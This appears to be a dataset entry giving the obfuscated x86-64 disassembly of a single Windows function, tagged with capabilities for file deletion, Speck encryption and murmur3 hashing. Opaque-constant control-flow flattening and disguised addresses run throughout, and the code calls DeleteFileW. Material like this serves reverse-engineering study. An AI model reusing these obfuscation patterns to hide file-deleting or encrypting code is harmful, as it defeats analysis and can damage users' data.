Function at 0x14021a5e8
Capabilities:
Delete file
Encrypt data using speck
Hash data using murmur3

Disassembly:
push rax
pushf
mov eax, 0xa033b041
pushf
not eax
add eax, 0xd56600c3
xor eax, 0xb400ca87
rol eax, 0x89
popf
pushf
not eax
add eax, 0x9d91143b
xor eax, 0xdb3f2027
rol eax, 0x45
popf
pushf
not eax
add eax, 0x9ef22700
xor eax, 0xa95fcaf6
rol eax, 0x37
popf
pushf
not eax
add eax, 0xdeff4cbb
xor eax, 0xe4315376
rol eax, 0xe
popf
cmp eax, 0x20
jne 0x14021a64b
popf
pop rax
jmp 0x14021bbee
cmp eax, 0
jne 0x14021a65a
popf
pop rax
jmp 0x14021a82b
cmp eax, 3
jne 0x14021a669
popf
pop rax
jmp 0x14021a9ef
cmp eax, 1
jne 0x14021a678
popf
pop rax
jmp 0x14021a8f3
cmp eax, 0xd
jne 0x14021a687
popf
pop rax
jmp 0x14021af66
cmp eax, 0x1a
jne 0x14021a696
popf
pop rax
jmp 0x14021b988
cmp eax, 0xe
jne 0x14021a6a5
popf
pop rax
jmp 0x14021b01f
cmp eax, 0xb
jne 0x14021a6b4
popf
pop rax
jmp 0x14021ae63
cmp eax, 0x19
jne 0x14021a6c3
popf
pop rax
jmp 0x14021b92c
cmp eax, 8
jne 0x14021a6d2
popf
pop rax
jmp 0x14021abe7
cmp eax, 0x1d
jne 0x14021a6e1
popf
pop rax
jmp 0x14021ba6c
cmp eax, 0x17
jne 0x14021a6f0
popf
pop rax
jmp 0x14021b82d
cmp eax, 0x1c
jne 0x14021a6ff
popf
pop rax
jmp 0x14021ba20
cmp eax, 0x12
jne 0x14021a70e
popf
pop rax
jmp 0x14021b446
cmp eax, 0x18
jne 0x14021a71d
popf
pop rax
jmp 0x14021b8e1
cmp eax, 0x11
jne 0x14021a72c
popf
pop rax
jmp 0x14021b39d
cmp eax, 0x1b
jne 0x14021a73b
popf
pop rax
jmp 0x14021b9c1
cmp eax, 0x16
jne 0x14021a74a
popf
pop rax
jmp 0x14021b776
cmp eax, 0xa
jne 0x14021a759
popf
pop rax
jmp 0x14021ade4
cmp eax, 0x14
jne 0x14021a768
popf
pop rax
jmp 0x14021b5b6
cmp eax, 0xf
jne 0x14021a777
popf
pop rax
jmp 0x14021b09b
cmp eax, 0x13
jne 0x14021a786
popf
pop rax
jmp 0x14021b57a
cmp eax, 0x15
jne 0x14021a795
popf
pop rax
jmp 0x14021b648
cmp eax, 2
jne 0x14021a7a4
popf
pop rax
jmp 0x14021a959
cmp eax, 0x1e
jne 0x14021a7b3
popf
pop rax
jmp 0x14021bb0f
cmp eax, 0xc
jne 0x14021a7c2
popf
pop rax
jmp 0x14021af08
cmp eax, 7
jne 0x14021a7d1
popf
pop rax
jmp 0x14021abaf
cmp eax, 5
jne 0x14021a7e0
popf
pop rax
jmp 0x14021aa65
cmp eax, 0x1f
jne 0x14021a7ef
popf
pop rax
jmp 0x14021bb7f
cmp eax, 0x10
jne 0x14021a7fe
popf
pop rax
jmp 0x14021b282
cmp eax, 6
jne 0x14021a80d
popf
pop rax
jmp 0x14021ab30
cmp eax, 9
jne 0x14021a81c
popf
pop rax
jmp 0x14021ac7b
cmp eax, 4
jne 0x14021a82b
popf
pop rax
jmp 0x14021aa3b
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov rax, qword [0x14010a0d0]
xor rax, rsp
mov qword [rbp + 0xb0], rax
mov rdi, rcx
xor ebx, ebx
cmp byte [rcx + 0xa0], 1
je 0x14021a8c0
push rax
pushf
mov eax, 0x4ecf736d
pushf
not eax
add eax, 0x92b80103
xor eax, 0xb4453834
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xe31e82f7
xor eax, 0xe8c3d9dc
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xcd59fa80
xor eax, 0xc0e88976
rol eax, 0x80
popf
pushf
not eax
add eax, 0xae5e0596
xor eax, 0x83b13050
rol eax, 0xc5
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0x6122ca65
pushf
not eax
add eax, 0xed33e539
xor eax, 0xedb2497f
rol eax, 0x40
popf
pushf
not eax
add eax, 0xf055109b
xor eax, 0x8ab1bcee
rol eax, 0xc7
popf
jmp 0x14021a63c
call fcn.14015a956
mov rcx, rdi
call fcn.1402a050e
push rax
pushf
mov eax, 0x5d6b698c
pushf
not eax
add eax, 0xacce9800
xor eax, 0xcd374c70
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xfd676de9
xor eax, 0x818c9668
rol eax, 0x77
popf
pushf
not eax
add eax, 0xb86f0c49
xor eax, 0xde64ddc4
rol eax, 0xe
popf
pushf
not eax
add eax, 0xd5e293cd
xor eax, 0xcf605249
rol eax, 0x2d
popf
jmp 0x14021a63c
mov rcx, qword [rdi]
cmp rcx, 0xffffffffffffffff
je 0x14021a9a8
push rax
pushf
mov eax, 0x19cf87
pushf
not eax
add eax, 0xc88eab47
xor eax, 0x86cbde05
rol eax, 0x64
popf
pushf
not eax
add eax, 0x8ce8a0d7
xor eax, 0xd485b425
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xc1fcf14f
xor eax, 0xd27433ab
rol eax, 0x57
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0x88073fe0
pushf
not eax
add eax, 0xa9bd19e8
xor eax, 0x858bdfce
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x83c03d2b
xor eax, 0xf75b9923
rol eax, 0x27
popf
pushf
not eax
add eax, 0xaacdab1e
xor eax, 0xeb16e456
rol eax, 0x28
popf
jmp 0x14021a63c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
push rax
pushf
mov eax, 0x2455594f
pushf
not eax
add eax, 0xf94c6a55
xor eax, 0xeb26a1bf
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x87a8c7b4
xor eax, 0xc54a31fd
rol eax, 0xb
popf
pushf
not eax
add eax, 0xa7e98949
xor eax, 0xf81d0938
rol eax, 0x82
popf
jmp 0x14021a63c
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140345fa4
nop
mov rdx, rax
mov rcx, rdi
call fcn.14026ff8a
mov esi, eax
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14021abe7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14021aad7
push rax
pushf
mov eax, 0xb6eed85
pushf
not eax
add eax, 0xfecef2e8
xor eax, 0xf422d1f9
rol eax, 0x31
popf
pushf
not eax
add eax, 0xb4552d17
xor eax, 0xa0f3888b
rol eax, 0x11
popf
pushf
not eax
add eax, 0xadf89113
xor eax, 0xc2450498
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xdf7b0aa3
xor eax, 0x8e997aba
rol eax, 0xfa
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0xe9a84cf0
pushf
not eax
add eax, 0xa7950303
xor eax, 0xc85a603f
rol eax, 0x58
popf
pushf
not eax
add eax, 0x87c52d2a
xor eax, 0x9453b227
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xbad81d80
xor eax, 0xa31b331c
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xe658eb20
xor eax, 0x9c70a642
rol eax, 0xe3
popf
jmp 0x14021a63c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14021ab7c
push rax
pushf
mov eax, 0x55506ada
pushf
not eax
add eax, 0xb216ee7b
xor eax, 0xfc23ad88
rol eax, 4
popf
pushf
not eax
add eax, 0xfe86506e
xor eax, 0xf03d6de3
rol eax, 0xf
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0xaabedc98
pushf
not eax
add eax, 0x8ea52028
xor eax, 0x98221f0f
rol eax, 0x27
popf
pushf
not eax
add eax, 0x98781c91
xor eax, 0xb649df33
rol eax, 0x7b
popf
jmp 0x14021a63c
call fcn.14021a52b
push rax
pushf
mov eax, 0x87dd52d1
pushf
not eax
add eax, 0xf66cb993
xor eax, 0xd2770774
rol eax, 0x36
popf
pushf
not eax
add eax, 0xaee10822
xor eax, 0xc171ca09
rol eax, 0x44
popf
jmp 0x14021a63c
test esi, esi
js 0x14021ac48
push rax
pushf
mov eax, 0x36ed267f
pushf
not eax
add eax, 0xdd781d99
xor eax, 0xec6c9352
rol eax, 0x96
popf
pushf
not eax
add eax, 0xb4fbaec4
xor eax, 0xd80e635f
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x9a273d20
xor eax, 0xfd1dae34
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xdad52542
xor eax, 0x90b6b6d8
rol eax, 0x65
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0xf94809e0
pushf
not eax
add eax, 0xf2a605aa
xor eax, 0xd55bcbe6
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x81bf4b59
xor eax, 0xa0fe8ea8
rol eax, 5
popf
jmp 0x14021a63c
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1401b2116
nop
mov r8d, 0x8b52ebc3
pushf
not r8d
add r8d, 0xbca6a782
xor r8d, 0x882dda81
rol r8d, 0xb7
popf
pushf
not r8d
add r8d, 0xfc26e01b
xor r8d, 0xded4188d
rol r8d, 0x52
popf
pushf
not r8d
add r8d, 0x8fc5bf6f
xor r8d, 0xef99eda0
rol r8d, 0x23
popf
pushf
not r8d
add r8d, 0xa136c3d9
xor r8d, 0x9343f826
rol r8d, 0x5a
popf
lea rdx, [0x18ef4e4b6]
pushf
sub rdx, 0x4ee55dfe
popf
mov rcx, rax
call fcn.1402115cc
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14021ad9e
push rax
pushf
mov eax, 0xa7544dd4
pushf
not eax
add eax, 0xd3a02f6d
xor eax, 0xc67b166c
rol eax, 9
popf
pushf
not eax
add eax, 0xcf7a00ca
xor eax, 0xd9087061
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xe5ed5e50
xor eax, 0x9fc8611e
rol eax, 3
popf
pushf
not eax
add eax, 0xee559359
xor eax, 0x8cf8683c
rol eax, 0xb7
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0x28defa15
pushf
not eax
add eax, 0xdce593f2
xor eax, 0xbe5954b4
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xa5064b86
xor eax, 0xe2cd3177
rol eax, 0x56
popf
pushf
not eax
add eax, 0xffba6fd2
xor eax, 0xc64ffc37
rol eax, 0x21
popf
jmp 0x14021a63c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14021ae30
push rax
pushf
mov eax, 0x2167191e
pushf
not eax
add eax, 0xec9f33a4
xor eax, 0x8542f230
rol eax, 0x55
popf
pushf
not eax
add eax, 0xecb726da
xor eax, 0xd60d5777
rol eax, 0x40
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0xe9f2bf8e
pushf
not eax
add eax, 0xd24acc85
xor eax, 0xcb9d48b1
rol eax, 7
popf
pushf
not eax
add eax, 0xafc8c6ba
xor eax, 0xcd46a328
rol eax, 0x2d
popf
jmp 0x14021a63c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14021aed5
push rax
pushf
mov eax, 0xbb202fe
pushf
not eax
add eax, 0xdfd9a530
xor eax, 0xbd6e983b
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xbce78a81
xor eax, 0xe1eb25f0
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xf2a00b25
xor eax, 0xb81bd869
rol eax, 0x52
popf
pushf
not eax
add eax, 0xc5229081
xor eax, 0x99505d57
rol eax, 3
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0xdffb48aa
pushf
not eax
add eax, 0xdd006550
xor eax, 0x92c7a6c4
rol eax, 0xea
popf
pushf
not eax
add eax, 0xfadab242
xor eax, 0xef112c82
rol eax, 0xd
popf
jmp 0x14021a63c
call fcn.14021a52b
push rax
pushf
mov eax, 0x4841903e
pushf
not eax
add eax, 0x81dce04e
xor eax, 0xe5d1f432
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xda085a0d
xor eax, 0xe3dc06c2
rol eax, 0xe8
popf
pushf
not eax
add eax, 0x866e4764
xor eax, 0xa10acc8a
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xcc6a4acc
xor eax, 0xfe2260db
rol eax, 0x77
popf
jmp 0x14021a63c
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], bx
cmp qword [rbp - 0x70], 0
jne 0x14021afc6
push rax
pushf
mov eax, 0x5b4af004
pushf
not eax
add eax, 0xbae18c8b
xor eax, 0xa9bd9112
rol eax, 0x84
popf
pushf
not eax
add eax, 0xfcdb716d
xor eax, 0xeb6b4298
rol eax, 0x1d
popf
pushf
not eax
add eax, 0x9d8eb26d
xor eax, 0xef66791c
rol eax, 0x78
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0xad28dae8
pushf
not eax
add eax, 0xb115899f
xor eax, 0x9debe1a8
rol eax, 0x47
popf
pushf
not eax
add eax, 0xf3f23ce2
xor eax, 0xc80070eb
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xf0c40df0
xor eax, 0xbb7563e6
rol eax, 0x22
popf
pushf
not eax
add eax, 0xc57615ec
xor eax, 0xfa28cf52
rol eax, 0xcf
popf
jmp 0x14021a63c
mov esi, 0x93ce9f30
pushf
not esi
add esi, 0xea841471
xor esi, 0xe2632fb0
rol esi, 0x42
popf
pushf
not esi
add esi, 0x93c57145
xor esi, 0xb6e4cb19
rol esi, 0x47
popf
pushf
not esi
add esi, 0xc738f258
xor esi, 0x82d19c9c
rol esi, 0x53
popf
jmp 0x14021b6cd
xor edx, edx
mov r8d, 0x31278a62
pushf
not r8d
add r8d, 0xfe8296db
xor r8d, 0xac154fc1
rol r8d, 0x29
popf
pushf
not r8d
add r8d, 0xd0136d35
xor r8d, 0xdccedae9
rol r8d, 0x96
popf
pushf
not r8d
add r8d, 0xb6517b72
xor r8d, 0x8c77dbd4
rol r8d, 0xef
popf
pushf
not r8d
add r8d, 0xd1161a3f
xor r8d, 0x9817988c
rol r8d, 0xe3
popf
lea rcx, [rbp - 0x60]
call fcn.14004a970
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rdx, qword [rbp - 0x80]
mov r8d, 0x36f3a77b
pushf
not r8d
add r8d, 0xf4281e97
xor r8d, 0xf97c130f
rol r8d, 0x89
popf
pushf
not r8d
add r8d, 0xca68d35b
xor r8d, 0xd4034485
rol r8d, 0xa4
popf
pushf
not r8d
add r8d, 0xc21876e0
xor r8d, 0xc5d99161
rol r8d, 0xa8
popf
lea rcx, [rbp - 0x60]
call fcn.14030b8d5
nop
call fcn.14029e3e6
movsxd rcx, eax
movabs rax, 0x6b9d392c4ef74b70
pushf
not rax
add rax, 0x5ceca37e
xor rax, 0x6082a7e0
rol rax, 0x39
popf
pushf
not rax
add rax, 0x7e0bf86b
xor rax, 0x530bb652
rol rax, 0xf7
popf
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
imul rax, rdx, 0x23d6df
sub rcx, rax
add ecx, 0xdd9d
movsxd r14, ecx
mov rcx, r14
call fcn.1403801d2
mov rdi, rax
test r14, r14
je 0x14021b229
push rax
pushf
mov eax, 0x4912cbe8
pushf
not eax
add eax, 0xb3d91518
xor eax, 0xbf6e337a
rol eax, 0x32
popf
pushf
not eax
add eax, 0xbc6ed034
xor eax, 0xf3177992
rol eax, 0xc7
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0x8be55d6
pushf
not eax
add eax, 0xf8f8a2f1
xor eax, 0xeedf5e50
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x8b2c8dd9
xor eax, 0xb54d09a2
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xdfc38d15
xor eax, 0x853bad4c
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xd6ad667f
xor eax, 0x8e3ed010
rol eax, 0xcc
popf
jmp 0x14021a63c
call fcn.14029e3e6
mov r9d, eax
mov eax, 0xe0265172
pushf
not eax
add eax, 0xac136c02
xor eax, 0xd8bb89f9
rol eax, 0x54
popf
pushf
not eax
add eax, 0xf6af6906
xor eax, 0x8f6a8815
rol eax, 0x96
popf
pushf
not eax
add eax, 0x829e85a3
xor eax, 0xee260648
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xabd3c634
xor eax, 0x859a8814
rol eax, 0xf
popf
imul r9d
push r9
not r9d
sub edx, r9d
pop r9
sub edx, 1
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
push rcx
not ecx
sub edx, ecx
pop rcx
sub edx, 1
imul ecx, edx, 0xff
sub r9d, ecx
mov byte [rbx + rdi], r9b
inc rbx
cmp rbx, r14
jb 0x14021b36a
push rax
pushf
mov eax, 0x66af8041
pushf
not eax
add eax, 0xfca09ff5
xor eax, 0xab390b7d
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xe9072940
xor eax, 0xe685a64b
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xaed6f91d
xor eax, 0xf884d1d7
rol eax, 0x99
popf
pushf
not eax
add eax, 0xdc70f1c6
xor eax, 0xf9b0c42b
rol eax, 0x90
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0xdb016a63
pushf
not eax
add eax, 0xb881b5ed
xor eax, 0xb7d00927
rol eax, 0x63
popf
pushf
not eax
add eax, 0xf7a34d8a
xor eax, 0xb5213816
rol eax, 0x68
popf
jmp 0x14021a63c
mov r8, r14
mov rdx, rdi
lea rcx, [rbp - 0x60]
call fcn.1402e3dea
lea rcx, [rbp - 0x58]
call fcn.1403a3934
test rax, rax
jne 0x14021b3ed
push rax
pushf
mov eax, 0xc8c08a0e
pushf
not eax
add eax, 0xaee7d99d
xor eax, 0xc5ba442b
rol eax, 0x72
popf
pushf
not eax
add eax, 0xdbd5bd20
xor eax, 0x8d412eaa
rol eax, 4
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0x6198dae9
pushf
not eax
add eax, 0xefed70ec
xor eax, 0xcd09f1fd
rol eax, 0x71
popf
pushf
not eax
add eax, 0x81ac5e91
xor eax, 0x913ae45d
rol eax, 0x50
popf
pushf
not eax
add eax, 0x8f7510df
xor eax, 0x892ecfa9
rol eax, 0xb
popf
pushf
not eax
add eax, 0xba57536c
xor eax, 0x8055bcd5
rol eax, 0x93
popf
jmp 0x14021a63c
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov eax, 0x762f5a16
pushf
not eax
add eax, 0xba73d281
xor eax, 0x921eb3b2
rol eax, 0xde
popf
pushf
not eax
add eax, 0x8cb57994
xor eax, 0xb569c374
rol eax, 0x78
popf
pushf
not eax
add eax, 0x8718d1e7
xor eax, 0xf3090c41
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x98181826
xor eax, 0x9d6294b4
rol eax, 0x12
popf
mov edx, 0xf48bc2a5
pushf
not edx
add edx, 0xd157ea18
xor edx, 0xbf670c23
rol edx, 0x48
popf
pushf
not edx
add edx, 0xe9256183
xor edx, 0xd95413d8
rol edx, 0xfe
popf
pushf
not edx
add edx, 0xdd9683c2
xor edx, 0xe46b02d2
rol edx, 0x20
popf
cmp qword [rbp + rcx - 0x18], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x50]
and eax, 0x17
mov dword [rbp + rcx - 0x50], eax
and eax, dword [rbp + rcx - 0x4c]
jne 0x14021b534
push rax
pushf
mov eax, 0xe5b0751
pushf
not eax
add eax, 0x96ced463
xor eax, 0xdfdcb013
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xbd2f8ced
xor eax, 0xaa732104
rol eax, 0x34
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0x119c6311
pushf
not eax
add eax, 0xbce89620
xor eax, 0xb528a3cd
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x90d6759c
xor eax, 0xf6e5c3f6
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xe789d41c
xor eax, 0xdf6c5d54
rol eax, 0x3e
popf
jmp 0x14021a63c
mov rcx, rdi
call fcn.14021a52b
nop
push rax
pushf
mov eax, 0x2cb4514c
pushf
not eax
add eax, 0xc810e04a
xor eax, 0xecd59412
rol eax, 0x85
popf
pushf
not eax
add eax, 0xb6925972
xor eax, 0xc7eefb83
rol eax, 0x4b
popf
jmp 0x14021a63c
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rcx, qword [rbp - 0x80]
jmp 0x14021b5c5
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x14021b602
push rax
pushf
mov eax, 0x1db5afac
pushf
not eax
add eax, 0x860f37f5
xor eax, 0xcca37891
rol eax, 0x23
popf
pushf
not eax
add eax, 0xbc8fe703
xor eax, 0x95e86035
rol eax, 0xc
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0x13996804
pushf
not eax
add eax, 0xf303ab65
xor eax, 0xd4da6d76
rol eax, 0xbd
popf
pushf
not eax
add eax, 0x940ab29e
xor eax, 0xb64bf0d0
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xa2b1a599
xor eax, 0xc3559f34
rol eax, 0x9a
popf
jmp 0x14021a63c
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [0x1a54b531c]
pushf
sub rax, 0x653bd23c
popf
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x58]
call fcn.140281715
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [0x1a0829562]
pushf
sub rax, 0x607b4ad2
popf
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x64], edx
lea rax, [0x194cd8930]
pushf
sub rax, 0x54c63fc0
popf
mov qword [rbp + 0x48], rax
lea rcx, [rbp + 0x48]
call fcn.14031f2c9
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x14021b71d
push rax
pushf
mov eax, 0x64a86a2e
pushf
not eax
add eax, 0x86397e63
xor eax, 0xeadd80de
rol eax, 0x80
popf
pushf
not eax
add eax, 0xc7d1585c
xor eax, 0xe557748b
rol eax, 0xc
popf
pushf
not eax
add eax, 0xd9d0ac65
xor eax, 0x9e510a77
rol eax, 0x7d
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0xe698f722
pushf
not eax
add eax, 0xa9919c34
xor eax, 0xfc43e38d
rol eax, 0xab
popf
pushf
not eax
add eax, 0xaaefcd79
xor eax, 0x8a983445
rol eax, 0x29
popf
pushf
not eax
add eax, 0x9a82e104
xor eax, 0xb3d4555f
rol eax, 0x71
popf
pushf
not eax
add eax, 0xceccd967
xor eax, 0xccab6f38
rol eax, 0xd6
popf
jmp 0x14021a63c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14021b7e7
push rax
pushf
mov eax, 0x298b7176
pushf
not eax
add eax, 0xfeb4f09c
xor eax, 0xee323639
rol eax, 0xa
popf
pushf
not eax
add eax, 0x8f274448
xor eax, 0xe099828d
rol eax, 0x80
popf
pushf
not eax
add eax, 0xe3bd9772
xor eax, 0xfce66e33
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x87bb4cbf
xor eax, 0xc9dd8893
rol eax, 0xe8
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0x6e985672
pushf
not eax
add eax, 0xa716d90d
xor eax, 0xf2d7f0b1
rol eax, 0x93
popf
pushf
not eax
add eax, 0xd66a6f40
xor eax, 0xb9e40f18
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x82632f76
xor eax, 0xce6f831a
rol eax, 0x99
popf
jmp 0x14021a63c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14021b89b
push rax
pushf
mov eax, 0x362d8ced
pushf
not eax
add eax, 0xfe868edf
xor eax, 0xf10d6a78
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xf161b23d
xor eax, 0xdef8119b
rol eax, 0x45
popf
pushf
not eax
add eax, 0xc057f3bc
xor eax, 0x9b3474c7
rol eax, 0x13
popf
pushf
not eax
add eax, 0xdda43840
xor eax, 0x9ff96cd5
rol eax, 0x71
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0x9bceb354
pushf
not eax
add eax, 0x9a837616
xor eax, 0xfcec2dee
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x816b158d
xor eax, 0xd9b2c6ab
rol eax, 0x42
popf
pushf
not eax
add eax, 0xcbba5f7e
xor eax, 0xe905980c
rol eax, 0x1b
popf
jmp 0x14021a63c
call fcn.14021a52b
push rax
pushf
mov eax, 0xe015ba28
pushf
not eax
add eax, 0xcfee12e5
xor eax, 0xbba9421e
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xaed74e56
xor eax, 0x896dfa91
rol eax, 0xec
popf
pushf
not eax
add eax, 0xd5a3cdbb
xor eax, 0x8baabee8
rol eax, 0xcb
popf
jmp 0x14021a63c
mov eax, esi
mov rcx, qword [rbp + 0xb0]
xor rcx, rsp
call fcn.1402ac965
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.1401f095d
int3
call fcn.1401f095d
nop
push rax
pushf
mov eax, 0x95fa5815
pushf
not eax
add eax, 0xa7d0e8dd
xor eax, 0xb7e337f9
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x94dafb48
xor eax, 0x9ff9d934
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xb59bcd93
xor eax, 0x99a73b14
rol eax, 0x60
popf
pushf
not eax
add eax, 0x83480720
xor eax, 0xa23b9d40
rol eax, 0xb5
popf
jmp 0x14021a63c
call fcn.1401f095d
nop
push rax
pushf
mov eax, 0xb49bd3c2
pushf
not eax
add eax, 0xdfee97cd
xor eax, 0xaf947b3e
rol eax, 0xec
popf
pushf
not eax
add eax, 0x89a1922a
xor eax, 0xaec0f89c
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xf06791c5
xor eax, 0xc83123d4
rol eax, 0x3f
popf
jmp 0x14021a63c
test al, 4
je 0x14021bac9
push rax
pushf
mov eax, 0x3b721af7
pushf
not eax
add eax, 0xb18d8557
xor eax, 0xa472fd63
rol eax, 6
popf
pushf
not eax
add eax, 0xc560399b
xor eax, 0x94d73c44
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x9d660935
xor eax, 0xb8611c2c
rol eax, 0x14
popf
pushf
not eax
add eax, 0x84723607
xor eax, 0xfd679542
rol eax, 0x46
popf
jmp 0x14021a63c
push rax
pushf
mov eax, 0x34f53d3e
pushf
not eax
add eax, 0xc6a15fa3
xor eax, 0x83a9e6ba
rol eax, 9
popf
pushf
not eax
add eax, 0xa4c44f61
xor eax, 0xa133eaa7
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x956dac34
xor eax, 0x90bf5e97
rol eax, 0xd1
popf
jmp 0x14021a63c
lea rbx, [0x1aa9251ac]
pushf
sub rbx, 0x6a8a2494
popf
jmp 0x14021bbee
test dl, al
lea rbx, [0x1bf3b2588]
pushf
sub rbx, 0x7f32f858
popf
lea rax, [0x1a2106672]
pushf
sub rax, 0x6208392a
popf
cmove rbx, rax
push rax
pushf
mov eax, 0x638715d9
pushf
not eax
add eax, 0xeae84605
xor eax, 0xd8265795
rol eax, 0x18
popf
pushf
not eax
add eax, 0xd9e759a1
xor eax, 0x899b3188
rol eax, 0x68
popf
pushf
not eax
add eax, 0xaba5754e
xor eax, 0x988143bb
rol eax, 0xf6
popf
jmp 0x14021a63c
mov edx, 0xcbb639aa
pushf
not edx
add edx, 0xd8496326
xor edx, 0xe63e19d3
rol edx, 0x46
popf
pushf
not edx
add edx, 0xb2dccd1d
xor edx, 0x9193c79b
rol edx, 0xdb
popf
pushf
not edx
add edx, 0xefa5fae8
xor edx, 0xfed0f032
rol edx, 3
popf
pushf
not edx
add edx, 0xc3c2ce01
xor edx, 0xe289518a
rol edx, 0xc
popf
lea rcx, [rsp + 0x30]
call fcn.140174f57
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.14029d71d
lea rdx, [0x1b1694172]
pushf
sub rdx, 0x7158c5da
popf
lea rcx, [rsp + 0x58]
call fcn.1402bfec3
int3